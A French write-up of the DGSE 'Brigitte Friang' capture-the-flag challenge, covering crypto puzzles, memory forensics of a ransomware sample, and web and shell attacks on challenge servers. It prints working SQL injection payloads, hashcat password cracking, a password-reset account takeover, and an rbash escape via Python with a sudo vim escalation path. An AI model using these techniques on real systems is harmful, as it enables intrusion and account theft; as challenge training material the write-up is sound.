Compte rendu du challenge Brigitte Friang

Par BU Cyber

Le challenge Brigitte Friang était le second challenge organisé par la DGSE, après le challenge Richelieu de l’an dernier.

Cette fois, le challenge comprenait deux parties. Tout d’abord, une série d’étapes à résoudre pour atteindre la plateforme de CTF, où une seconde phase se tenait.

Ici est présentée une solution détaillée de tous les chemins empruntés pour rejoindre la plateforme du CTF, ainsi que de chaque challenge de la seconde partie de la compétition.

Point d'entrée pour le CTF

Page d'accueil

Le point de départ pour le challenge était identique à celui de l’année précédente : une simple URL, avec aucune information utile indiquant où aller pour trouver les vrais challenges.

Cependant, le code source cache un indice :

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Challenge Brigitte Friang</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta http-equiv="X-UA-Compatible" content="ie=edge" />
        <link rel="stylesheet" href="/static/bootstrap/css/bootstrap.min.css">
        <link rel="stylesheet" href="/static/css/style.css">
        <!--/static/message-secret.html-->
    </head>
    <body>
        ...
    </body>
</html>

Lien caché

Une fois encore, le code HTML donne un indice :

<!DOCTYPE html>
<html lang="fr" dir="ltr">
  <head>
    <meta charset="utf-8" />
    <title>Cesar</title>
  </head>
  ...
</html>

Toutes les combinaisons peuvent être essayées avec l’aide du Shell :

$ for i in $( seq 26 ); do \
    lynx --dump https://challengecybersec.fr/static/message-secret.html | caesar $i ; \
    echo "==== $i";
    read -n 1 -s -r ;
done

[...]

   Si vous parvenez a lire ce message, c'est que vous pouvez rejoindre
   l’operation «Brigitte Friang». Rejoignez-nous rapidement.

   Brigitte Friang est une resistante, journaliste et ecrivaine francaise.
   Elle est nee le 23/01/1924 a Paris, elle a 19 ans sous l'occupation
   lorsqu'elle est recrutee puis formee comme secretaire/chiffreuse par un
   agent du BCRA, Jean-Francois Clouet des Perruches alias Galilee chef du
   Bureau des operations aeriennes (BOA) de la Region M (Cote du Nord,
   Finistere, Indre et Loire, Orne, Sarthe, Loire inferieure, Maine et
   Loire, Morbihan, Vendee). Brigitte Friang utilise parfois des foulards
   pour cacher des codes. Completez l’URL avec l’information qui est
   cachee dans ce message.

   Suite a l’arrestation et la trahison de Pierre Manuel, Brigitte Friang
   est arretee par la Gestapo. Elle est blessee par balle en tentant de
   s’enfuir et est conduite a l’Hopital de la Pitie. Des resistants
   tenteront de la liberer mais sans succes. Elle est torturee et ne
   donnera pas d'informations. N’oubliez pas la barre oblique. Elle est
   ensuite envoyee dans le camp de Ravensbruck.

   Apres son retour de deportation, elle participe a la creation du
   Rassemblement du peuple français (RPF). Elle integre la petite equipe,
   autour d'Andre Malraux, qui va preparer le discours fondateur de
   Strasbourg en 1947 et les elections legislatives de 1951.

   Elle rentre a l'ORTF, et devient correspondante de guerre. Elle obtient
   son brevet de saut en parachute et accompagne des commandos de
   parachutistes en operation durant la guerre d’Indochine. Elle raconte
   son experience dans Les Fleurs du ciel (1955). D'autres agents sont sur
   le coup au moment ou je vous parle. Les meilleurs d'entre vous se
   donneront rendez-vous a l'European Cyberweek a Rennes pour une remise
   de prix. Resolvez le plus d'epreuves avant la fin de cette mission et
   tentez de gagner votre place parmi l'elite! Par la suite, elle couvre
   l’expedition de Suez, la guerre des Six Jours et la guerre du Viet Nam.
   Elle prend position en faveur d'une autonomie du journalisme dans le
   service public ce qui lui vaut d'etre licenciee de l'ORTF.

   Elle ecrit plusieurs livres et temoigne de l'engagement des femmes dans
   la Resistance.
==== 19

Pas de piste supplémentaire dans le texte lui-même, mais son rendu montre quelques caractères en gras :

L’URL suivante est révélée par la commande :

$ caesar 19 <<< joha
chat

Voies d'accès au CTF principal

Armand Richelieu présente l’équipe combattant Evil Country:

  • Antoine Rossignol (Service Crypto);
  • Jérémy Nitel (Service Web);
  • Blaise Pascal (Service Algo);
  • Alphonse Bertillon (Service Forensic).

Chaque membre propose un moyen de rejoindre le challenge principal.

Le Service Crypto

Les fichiers fournis par Antoine Rossignol sont :

  • un fichier de texte echange.txt;
  • une archive chiffrée archive_chiffree;
  • un PDF chiffré layout.pdf;
  • le rapport d’un spécialiste compte_rendu_eve.pdf.

Etape 1 : déchiffrer layout.pdf

Le fichier texte explique que l’archive a été chiffrée par un matériel dédié. Ce matériel a été analysé et le rapport présente les conclusions de cette analyse.

Le rapport suggère qu’une zone en particulier retient la clé de chiffrement. Cependant l’analyse n’a pas déterminé l’ordre des bits ni les positions des bits forts. Une image de cette zone prise au microscope est incluse dans le PDF protégé.

Ainsi, pour retrouver la valeur de la clé, il est nécessaire de déchiffrer layout.pdf. Comme il n’y a aucune indication concernant ce mot de passe, il est probable qu’il faille avoir recours au brute-force.

Le hash du mot de passe peut être extrait grâce à l’outilpdf2john de John The Ripper.

./pdf2john.pl layout.pdf > hash

Le hash extrait est :

$pdf$4*4*128*-4*1*16*6889d2c476016551d8b110c09aead2be*32*2f4d1d0b42be57f35b3f62f18ca0c43d00000000000000000000000000000000*32*2573d8bb30a39ec5e84b3891b5ac78d35876cc17ece0afa3fa17ef6f50919dfe

Note : pour que le hash soit compatible avec Hashcat, le préfixe a été retiré.

Le hash peut être craqué par Hashcat avec une attaque par dictionnaire en utilisant rockyou.txt.

./hashcat -a 0 -m 10500 hash rockyou.txt

Le mot de passe retrouvé est resistance.

Etape 2 : retrouver la clé

Le PDF déchiffré layout.pdf contient une image montrant 16 lignes et 16 colonnes de fusibles suggérant que chaque fusible correspond à un bit de la clé. Certains fusibles sont grillés et présentent un espace en leur milieu.

Un fusible grillé représente un 1, un fusible intact représente un 0. Ainsi la table des bits extraits est la suivante :

0100000101000101
0101001100100000
0011001000110101
0011011000100000
0100010101000011
0100001000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000
0010000000100000

Chaque ligne contient 2 octets et peuvent se représenter en ASCII en lisant les bits du plus fort au plus faible de gauche à droite. Ceci donne la chaîne de caractères AES 256 ECB. Le fichier key_extraction.py propose une façon automatique d’afficher cette chaîne.

Note : En regardant les fusibles et les bits, on remarque qu’il y a 21 espaces après la partie lisible de la clé, ce qui peut être difficile à voir dans la sortie du script key_extraction.py.

Etape 3 : déchiffrer l'archive

La clé indique que l’algorithme de chiffrement utilisé est AES 256 en mode ECB. Avec la librairie Python Pycrypto, il est possible de déchiffrer l’archive archive_chiffree. Le code de cette étape se trouve dans le fichier decrypt_archive.py.

Une fois déchiffrée, on obtient une archive ZIP.

$ file plain_archive
plain_archive: Zip archive data, at least v2.0 to extract

Avec unzip on peut extraire le contenu de l’archive.

Le contenu de cette archive est :

.
├── archive
│   ├── code_acces.pdf
│   └── message.pdf
└── __MACOSX
└── archive
3 directories, 2 files

Note : le dossier __MACOSX suggère que l’archive a été créée sur un Mac mais n’est pas nécessaire pour la résolution de cette épreuve.

Etape 4 : déchiffrer code_acces.pdf

Le fichier code_acces.pdf est protégé par un mot de passe et message.pdf contient des indices sur ce mot de passe. Ainsi, le mot de passe x vérifie le système suivant :

Une solution de ce système peut se trouver par brute force et on obtient x=5622.

Note : le code pour trouver la solution par brute force se trouve dans le fichier brute_force_system.py.

Etape 5 : trouver le flag

Le fichiercode_acces.pdf contient des indices. Le flag a été chiffré en remplaçant chaque caractère par son inverse modulaire dans le corps de Galois.

Le résultat du chiffrement est 0xAF3A5E20A63AD0.

Le site Web wims.univ-cotedazur.fr héberge un calculateur spécifique de théorie de Galois qui permet de calculer les inverses.

On définit le corps de Galois comme suit :

Chaque caractère représente un polynôme dans le corps de Galois et les coefficients de ces polynômes s’obtiennent de la façon suivante :

  • on convertit le caractère en binaire, par exemple bin(0xAF) = '0b10101111' ;
  • les valeurs des bits correspondent aux valeurs des coefficients et le rang à la puissance de la variable. Ainsi 10101111 correspond au polynôme :

  • le polynôme peut être inversé avec le calculateur (les résultats de tous les calculs sont donnés ci dessous). Avec notre exemple on obtient :

  • le polynôme trouvé correspond à un caractère ASCII qui se trouve en faisant les étapes inverses des étapes 1 et 2. Avec notre exemple, le polynôme trouvé correspond à 0b01100010 = 0x62 c’est à dire le caractère b.

Les calculs complets pour trouver les autres caractères sont les suivants :

Le flag trouvé est la chaîne de caractère b a:e z. En envoyant ce message à Antoine Rossignol, celui ci nous répond l’URL de la plateforme du CTF.

Les tests d'investigation numérique

Détection d'intrusion

Un accès non autorisé à un système a été détecté :

Une façon d’analyser les logs de Nginx est de les parcourir à la recherche de requêtes POST en premier lieu :

$ < access.log grep POST
[...]
145.229.250.226 - - [Nov 05 2020 16:13:19] "POST /login HTTP/1.1" 200 397 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20"
179.97.58.61 - - [Nov 05 2020 16:22:20] "POST /login HTTP/1.1" 200 476 "-" "Evil Browser"
135.133.14.41 - - [Nov 05 2020 16:42:32] "POST /login HTTP/1.1" 200 183 "-" "Mozilla/5.0 (Android; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0"
[...]

Logiciel malveillant ?

Fournir l’adresse IP de l’attaquant donne accès à une image :

Son poids est relativement surprenant :

$ ls -lh evil_country_landscape.jpg 
-rw-r--r-- 1 test test 303M 12 nov.  20:19 evil_country_landscape.jpg

Du contenu intéressant peut être extrait grâce à binwalk :

$ binwalk -e evil_country_landscape.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
79798         0x137B6         Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part2.img
4775856       0x48DFB0        Zlib compressed data, best compression
34737670      0x2120E06       MySQL MISAM compressed data file Version 1
56164092      0x358FEFC       IMG0 (VxWorks) header, size: 257308484
128298187     0x7A5ACCB       Cisco IOS microcode, for "w%"
158637081     0x9749C19       Zip archive data, at least v2.0 to extract, uncompressed size: 173015040, name: part3.img
239002530     0xE3EE3A2       Zlib compressed data, best compression
317286906     0x12E969FA      End of Zip archive, footer length: 22

$ file _evil_country_landscape.jpg.extracted/part*
_evil_country_landscape.jpg.extracted/part2.img: Linux Software RAID version 1.2 (1) UUID=dfaa645a:19afec72:60f1fa33:30d841da name=user-XPS-15-9570:6 level=5 disks=3
_evil_country_landscape.jpg.extracted/part3.img: Linux Software RAID version 1.2 (1) UUID=dfaa645a:19afec72:60f1fa33:30d841da name=user-XPS-15-9570:6 level=5 disks=3

La création de périphériques de boucle devrait activer une sorte de support automatique :

# losetup -f _evil_country_landscape.jpg.extracted/part2.img 
# losetup -f _evil_country_landscape.jpg.extracted/part3.img

# dmesg
[...]
[1504745.009200] md/raid:md127: device loop2 operational as raid disk 2
[1504745.009202] md/raid:md127: device loop1 operational as raid disk 1
[1504745.009617] md/raid:md127: raid level 5 active with 2 out of 3 devices, algorithm 2
[1504745.009640] md127: detected capacity change from 0 to 341835776

Le nouveau disque peut être exploré :

# mkdir /tmp/raid
# mount /dev/md127 /tmp/raid/

# ls -lh /tmp/raid/
total 292M
-rw-r--r-- 1 root root 291M  6 oct.  11:35 dump.zip
drwx------ 2 root root  16K  6 oct.  11:31 lost+found

# unzip -l /tmp/raid/dump.zip 
Archive:  /tmp/raid/dump.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
1073741824  2020-10-05 13:13   dump.vmem
       64  2020-10-05 13:50   dump.vmem.sha256
---------                     -------
1073741888                     2 files

Une fois le contenu ZIP décompressé, le disque RAID peut être arrêté avec les commandes suivantes :

# umount /tmp/raid/
# mdadm -S /dev/md127 
mdadm: stopped /dev/md127
# losetup -D

Capture de mémoire

Les nouveaux fichiers représentent une capture de mémoire adaptée pour Volatility:

$ volatility -f dump.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/XXX/dump.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002c4c0a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002c4dd00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-10-05 11:17:37 UTC+0000
     Image local date and time : 2020-10-05 13:17:37 +0200

Un aperçu de l’affichage en cours peut être enregistré :

$ mkdir screenshot
$ volatility -f dump.vmem --profile Win7SP1x64 screenshot --dump-dir screenshot
Volatility Foundation Volatility Framework 2.6
Wrote screenshot/session_0.msswindowstation.mssrestricteddesk.png
Wrote screenshot/session_0.Service-0x0-3e7$.Default.png
Wrote screenshot/session_0.Service-0x0-3e4$.Default.png
Wrote screenshot/session_0.Service-0x0-3e5$.Default.png
Wrote screenshot/session_1.WinSta0.Default.png
Wrote screenshot/session_1.WinSta0.Disconnect.png
Wrote screenshot/session_1.WinSta0.Winlogon.png
Wrote screenshot/session_0.WinSta0.Default.png
Wrote screenshot/session_0.WinSta0.Disconnect.png
Wrote screenshot/session_0.WinSta0.Winlogon.png

La liste des processus actifs peut aussi être explorée :

$ volatility -f dump.vmem --profile Win7SP1x64 pslist
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                          
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa8000cc5b30 System                    4      0     87      393 ------      0 2020-10-05 11:13:41 UTC+0000                                 
0xfffffa800bad5480 smss.exe                264      4      2       29 ------      0 2020-10-05 11:13:41 UTC+0000                                 
0xfffffa8002810060 csrss.exe               352    336      8      517      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa8002816060 wininit.exe             404    336      3       74      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa80111d32e0 csrss.exe               412    396      9      209      1      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa80029c2910 winlogon.exe            460    396      4      110      1      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa80029f76d0 services.exe            504    404      8      220      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa8002a007c0 lsass.exe               512    404      7      565      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa8002a0db30 lsm.exe                 520    404     10      145      0      0 2020-10-05 11:13:42 UTC+0000                                 
0xfffffa8002a0fb30 svchost.exe             644    504     10      353      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002affb30 svchost.exe             708    504      6      276      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002b1f4a0 svchost.exe             760    504     23      514      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002b28b30 svchost.exe             880    504     16      320      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002b8ab30 svchost.exe             920    504     48      979      0      0 2020-10-05 11:13:43 UTC+0000                                 
0xfffffa8002bb4b30 audiodg.exe             980    760      7      128      0      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002bd4060 svchost.exe             244    504     26      720      0      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002bf8060 svchost.exe             304    504     20      391      0      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002c6b500 dwm.exe                1072    880      6      124      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002c6fb30 explorer.exe           1084   1064     32      828      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002cc6310 spoolsv.exe            1156    504     15      270      0      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002d11a60 taskhost.exe           1216    504     10      204      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002d234f0 vm3dservice.ex         1240   1084      3       39      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002d27b30 vmtoolsd.exe           1248   1084      8      166      1      0 2020-10-05 11:13:44 UTC+0000                                 
0xfffffa8002d2ab30 svchost.exe            1304    504     20      325      0      0 2020-10-05 11:13:45 UTC+0000                                 
0xfffffa8002b6e430 VGAuthService.         1560    504      4       84      0      0 2020-10-05 11:13:46 UTC+0000                                 
0xfffffa8002b6f2c0 vmtoolsd.exe           1584    504     12      292      0      0 2020-10-05 11:13:46 UTC+0000                                 
0xfffffa8001e6ab30 dllhost.exe            1832    504     20      186      0      0 2020-10-05 11:13:47 UTC+0000                                 
0xfffffa8002f1f060 WmiPrvSE.exe           1892    644     10      193      0      0 2020-10-05 11:13:47 UTC+0000                                 
0xfffffa8002ef2b30 dllhost.exe            2008    504     17      195      0      0 2020-10-05 11:13:48 UTC+0000                                 
0xfffffa8002fc9560 msdtc.exe               872    504     15      155      0      0 2020-10-05 11:13:49 UTC+0000                                 
0xfffffa8003021690 VSSVC.exe              2076    504      6      109      0      0 2020-10-05 11:13:49 UTC+0000                                 
0xfffffa8002c4bb30 SearchIndexer.         2156    504     12      557      0      0 2020-10-05 11:13:50 UTC+0000                                 
0xfffffa8002fd4b30 wmpnetwk.exe           2296    504     11      213      0      0 2020-10-05 11:13:50 UTC+0000                                 
0xfffffa80030d4770 svchost.exe            2372    504     23      258      0      0 2020-10-05 11:13:51 UTC+0000                                 
0xfffffa80030e4750 SearchProtocol         2400   2156      7      273      0      0 2020-10-05 11:13:51 UTC+0000                                 
0xfffffa80030e7b30 SearchFilterHo         2420   2156      4       86      0      0 2020-10-05 11:13:51 UTC+0000                                 
0xfffffa8001ca9060 WmiPrvSE.exe           3032    644     15      330      0      0 2020-10-05 11:14:07 UTC+0000                                 
0xfffffa80031d5790 sppsvc.exe             2844    504      6      156      0      0 2020-10-05 11:16:54 UTC+0000                                 
0xfffffa801bbf6b30 svchost.exe            2276    504     12      327      0      0 2020-10-05 11:16:54 UTC+0000                                 
0xfffffa8000e91b30 drpbx.exe              2304   2916      8      149      1      0 2020-10-05 11:17:01 UTC+0000                                 
0xfffffa8000e78920 taskhost.exe           2464    504      6       88      1      0 2020-10-05 11:17:08 UTC+0000                                 
0xfffffa800107c6a0 WmiApSrv.exe           2632    504      7      119      0      0 2020-10-05 11:17:18 UTC+0000                                 
0xfffffa8001072060 notepad.exe            1880   1084      1       62      1      0 2020-10-05 11:17:36 UTC+0000                                 
0xfffffa800117db30 cmd.exe                1744   1584      0 --------      0      0 2020-10-05 11:17:37 UTC+0000   2020-10-05 11:17:37 UTC+0000  
0xfffffa8002161630 conhost.exe            2928    352      0 --------      0      0 2020-10-05 11:17:37 UTC+0000   2020-10-05 11:17:37 UTC+0000  
0xfffffa8001116060 ipconfig.exe           2832   1744      0 --------      0      0 2020-10-05 11:17:37 UTC+0000   2020-10-05 11:17:37 UTC+0000

Tout comme les lignes de commande utilisées pour lancer les programmes :

$ volatility -f dump.vmem --profile Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6
[...]
************************************************************************
drpbx.exe pid:   2304
Command line : "C:\Users\user\AppData\Local\Drpbx\drpbx.exe" C:\Users\user\Documents\Firefox_installer.exe
************************************************************************
[...]

Le processus suspect avec le pid 2304 peut être extrait :

$ mkdir drpbx

$ volatility -f dump.vmem --profile Win7SP1x64 procdump -p 2304 --dump-dir drpbx
Volatility Foundation Volatility Framework 2.6
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa8000e91b30 0x0000000000870000 drpbx.exe            OK: executable.2304.exe

$ file drpbx/executable.2304.exe 
drpbx/executable.2304.exe: PE32+ executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Rétroconception

Le code source de l’exécutable peut être récupéré en utilisant ILSpy.

La fonction buttonCheckPayment_Click() à l’intérieur du fichier FormGame.cs fournit des indications au sujet des fichiers chiffrés .evil :

double price = Blockr.GetPrice();
int num = (int)(Blockr.GetBalanceBtc(GetBitcoinAddess()) * price);
if (num > Config.RansomUsd)
{
        timerCountDown.Stop();
        buttonCheckPayment.Enabled = false;
        buttonCheckPayment.BackColor = Color.Lime;
        buttonCheckPayment.Text = "Arg, vous nous avez eu...";
        MessageBox.Show(this, "Déchiffrement de vos fichiers. It will take for a while. After done I will close and completely remove myself from your computer.", "Great job");
        Locker.DecryptFiles(".evil");
        Hacking.RemoveItself();
}

Le fichier Locker.cs contient les fonctions EncryptFile() et DecryptFile() avec tous les paramètres cryptographiques :

  • la clef est décodée à partir de la chaîne encodée en base 64 RXZpbERlZmF1bHRQYXNzIQ== ;
  • l’IV est composé des valeurs 0, 1, 0, 3, 5, 3, 0, 1, 0, 0, 2, 0, 6, 7, 6, 0 ;
  • la documentation en ligne indique que, par défaut, le mode est CBC avec du bourrage PKCS7.

Le script Python drpb-unlocker.py peut alors être utilisé pour déchiffrer les fichiers :

$ volatility -f dump.vmem --profile Win7SP1x64 filescan | grep evil
Volatility Foundation Volatility Framework 2.6
0x000000001715ed50     16      0 R--r-- \Device\HarddiskVolume1\Users\user\Documents\informations_attaque.txt.evil
0x000000003fa3ebc0      2      0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf.evil
0x000000003fac8d10     32      0 RW-r-- \Device\HarddiskVolume1\ProgramData\Microsoft\Windows\WER\ReportQueue\NonCritical_Firefox_installe_d514681bfc376345742b2157ace1e72c17fd991_cab_0938b7ba\appcompat.txt.evil
0x000000003fad8620     16      0 RW-r-- \Device\HarddiskVolume1\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.evil

$ mkdir crypted

$ for q in 0x000000001715ed50 0x000000003fa3ebc0 0x000000003fac8d10 0x000000003fad8620; do \
  volatility -f dump.vmem --profile Win7SP1x64 dumpfiles -D crypted -Q $q ; \
done

$ find crypted/ -type f -not -name '*.orig' -exec python3 ./drpb-unlocker.py {} \;

Un des fichiers résultants semble intéressant :

< crypted/file.None.0xfffffa800e9fec60.dat.orig head -10
Ce message est destin� � toute force alli�e en mesure de nous venir en aide, nous la r�sistance d'Evil Country. Hier, nous sommes parvenus � mettre la main sur un dossier confidentiel �manant des services secrets d'Evil Gouv.

Ces documents font mention d'une op�ration d'an�antissement de la r�sistance � l'aide d'un puissant agent innervant, le VX. L'attaque est pr�vue dans 4 jours � 4h40 au sein du fief de la r�sistance. 

Nous savons de source sure qu'un convoi permettant la synth�se du VX partira de l'entrepot Stockos de Bad Country vers le fief de la r�sistance d'ici quelques jours. Il faut intercepter ce convoi !

�F��f�Jev�nous � cette adresse : http://ctf.challengecybersec.fr/7a144cdc500b28e80cf760d60aca2ed3sz�Zn|3����

Le contenu doit encore être tronqué et le fichier peut être converti en UTF-8 avec :

$ iconv -c -f ISO-8859-15 -t UTF-8 final.txt

La voie du Web

En empruntant la route du « Service Web », Jérémy Nitel révèle que Stockos, une plateforme Web utilisée pour gérer les entrepôts d’Evil Country, a été piratée et que les mots de passe ont fuité.

Il donne également un lien vers Stockos: https://www.challengecybersec.fr/4e9033c6eacf38dc2a5df7a14526bec1/

Connexion à Stockos

Jérémy indique que les mots de passe fuités ne sont pas ceux d’origine. Avec le compte admin et le mot de passe admin, il est possible de se connecter facilement.

La page d’accueil est un tableau de bord avec des informations de stockage mais il n’y a rien d’intéressant à exploiter ici.

Trouver son chemin

Le second onglet, intitulé « Gestion des stocks », contient une table avec différents produits et autres informations.

On peut également remarquer une zone de saisie qui permet de rechercher un objet spécifique dans le magasin.

En utilisant cette fonctionnalité de recherche, il est possible de consulter la base de données, à l’aide d’injections SQL. Puisqu’il existe 5 colonnes, cette première injection a été lancée :

' UNION select 1, 2, 3, 4, 5 #

A la fin de la table, après un clic sur le bouton de recherche, on obtient les valeurs 1, 2, 3, 4, 5 dans chaque colonne, ce qui indique que l’on se trouve sur la bonne voie.

Voici les autres injections menées :

  • obtention de la liste de toutes les tables de la base
' UNION select table_name, NULL, NULL, NULL, NULL from information_schema.tables #

    Résultat : clients, commandes, section, fournisseur (les tables par défaut ont été supprimées)

  • obtention de la liste de chaque colonne d’une table
' UNION select table_name,column_name,NULL,NULL,NULL from information_schema.columns where table_name=[table_name] #

    Avec ça, on trouve que :

  • il y a un fournisseur (ID 1) nommé EvilChems qui semble bizarre ;
  • il existe aussi un client (ID 12) appelé EvilGouv ;
  • son adresse de courriel est agent.malice@secret.evil.gov.ev.

AirEvil

Dans ses messages, Jérémy Nitel donne également un lien vers le site d’AirEvil. L’objectif est de trouver un moyen d’obtenir un billet d’avion pour aller de Bad City jusqu’à Evil City.

AirEvil homepage

Essayer d’avoir un billet directement à partir de la page d’accueil renvoie vers une page de connexion avant tout achat de billet. Voici à quoi ressemble cette page de connexion :

En se créant un compte bidon à partir d’une adresse de courriel temporaire, on remarque que la page de profil du compte n’est pas autorisée à effectuer des réservations d’avion pour Evil Country.

Ceci signifie que le seul moyen de réserver un vol pour Evil Country est de disposer d’un compte autorisé. Par chance, on dispose déjà d’une adresse de courriel qui devrait être liée à un compte autorisé : agent.malice@secret.evil.gov.ev

En essayant de réinitialiser le mot de passe pour le compte bidon, un courriel est reçu contenant un lien vers une page de réinitialisation. Ce que le lien contient  (d2lqYWYxMjM1N0BwYXRtdWkuY29t) est notre adresse de courriel encodée en base 64. En ouvrant ce lien, voici ce que l’on obtient :

Le mot de passe est donné en clair !

agent.malice@secret.evil.gov.ev encodé en base 64 est : YWdlbnQubWFsaWNlQHNlY3JldC5ldmlsLmdvdi5ldg==. En utilisant le même lien de réinitialisation avec la version encodée du courriel, voici le résultat :

Avec ça, on sait que les identifiants du compte autorisé sont agent.malice@secret.evil.gov.ev associé au mot de passe Superlongpassword666.

On se connecte avec ces valeurs et, dans l’onglet « Mes reservations », on trouve un billet d’avion pour aller de Bad City à Evil City, avec un QR Code.

La valeur du QR Code est DGSESIEE{2cd992f9b2319860ce3a35db6673a9b8}.

On envoie ce flag à Jérémy Nitel. En réponse, ce dernier transfert un fichier appelé « capture.pcap » qu’il faut analyser afin d’obtenir le flag suivant.

Communications chiffrées

En analysant le fichier PCAP, on peut constater que le trafic est chiffré en TLS/SSL, et uniquement entre deux IP locales.

Il est possible d’extraire le certificat et la clef publique pour l’échange à partir des messages de handshake.

En regardant les paramètres détaillés de la clef, le modulo n’apparaît pas assez grand pour être considéré comme sécurisé.

Il a ainsi été possible de retrouver les facteurs premiers avec des moyens comme factordb.com. Avec p et q à disposition, la régénération d’une clef privée est permise.

Charger cette clef dans Wireshark conduit au déchiffrement de l’ensemble des communications.

On réalise alors qu’il s’agit de trafic HTTP et on peut trouver le lien vers la plateforme Web de la seconde partie du challenge.

Le CTF principal

Alone Muks (Pwn, 100 points)

Le contexte de la mission est :

 Lors de votre récent séjour à Evil Country, vous êtes parvenu à brancher un dispositif sur le camion effectuant la livraison. Il faut maintenant trouver une faille sur le système pour pouvoir prendre le contrôle du camion autonome de la marque Lates et le rediriger vers un point d'extraction. Un agent a posé un dispositif nous permettant d'accéder au système de divertissement du véhicule. A partir de ce dernier, remontez jusqu'au système de navigation.
Connectez-vous en SSH au camion

Identifiants: user:user

Le serveur est réinitialisé périodiquement

Port : 5004

Le flag est de la forme DGSESIEE{hash} 

Il s’agissait du seul challenge de la catégorie pwn. On commence par se connecter en ssh au serveur avec le nom d’utilisateur donné.

$ ssh user@challengecybersec.fr -p 5004
user@challengecybersec.fr's password: 

=============================================================
                 LATES Motors Inc                            
        LATES Mortors Entertainment System v6.2              
             Please enter your credentials                   

=============================================================

Username:

Contournement de l’authentification

On se retrouve avec une invite demandant un couple nom d’utilisateur / mot de passe. Après quelques essais infructueux à déclencher un buffer overflow, une chaîne de format ou même l’essai de quelques couples communs, on réalise qu’on peut s’échapper simplement en pressant Ctrl+D.

Username: Traceback (most recent call last):
  File "/home/user/login.py", line 12, in <module>
    user = raw_input("Username: ")    
EOFError
user@b43e27468d7b:~$

Sortie du Shell restreint

Le shell affiche des capacités limitées, comme tout Shell restreint.

Cependant, comme Python est disponible, il est possible de lancer un Shell non restreint via le module intégré os.

On peut alors voir que le flag est localisé dans le répertoire personnel de l’utilisateur navigationSystem, et qu’il existe un autre utilisateur appelé globalSystem.

Le drapeau est uniquement lisible par navigationSystem donc une élévation de privilèges s’impose.

user@b43e27468d7b:~$ ls     
-rbash: ls: command not found
user@b43e27468d7b:~$ /bin/ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names
user@b43e27468d7b:~$ python -c "import os; os.system('/bin/sh')"
$ ls
/bin/sh: 1: ls: not found
$ /bin/ls
bin  login.py
$ /bin/ls ../
globalSystem  navigationSystem	user
$ /bin/ls ../navigationSystem
flag.txt
$ /bin/ls ../navigationSystem -la
total 24
drwxr-xr-x 2 root             root             4096 Nov  1 10:52 .
drwxr-xr-x 1 root             root             4096 Nov  1 10:52 ..
-r--r--r-- 1 navigationSystem navigationSystem  220 Apr 18  2019 .bash_logout
-r-------- 1 navigationSystem navigationSystem 3533 Nov  1 10:52 .bashrc
-r--r--r-- 1 navigationSystem navigationSystem  807 Apr 18  2019 .profile
-r-------- 1 navigationSystem navigationSystem   43 Nov  1 10:52 flag.txt

La magie sudo

On peut utiliser l’option -l de sudo pour consulter les commandes qu’il est permis de lancer en tant qu’autrui.

$ /usr/bin/sudo -l
Matching Defaults entries for user on b43e27468d7b:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD

User user may run the following commands on b43e27468d7b:
    (globalSystem) NOPASSWD: /usr/bin/vim

On peut exécuter vim en tant que globalSystem, et puisque vim a sa méthode pour lancer des commandes depuis son interface, ceci veut dire qu’on peut exécuter des commandes en tant que  globalSystem.

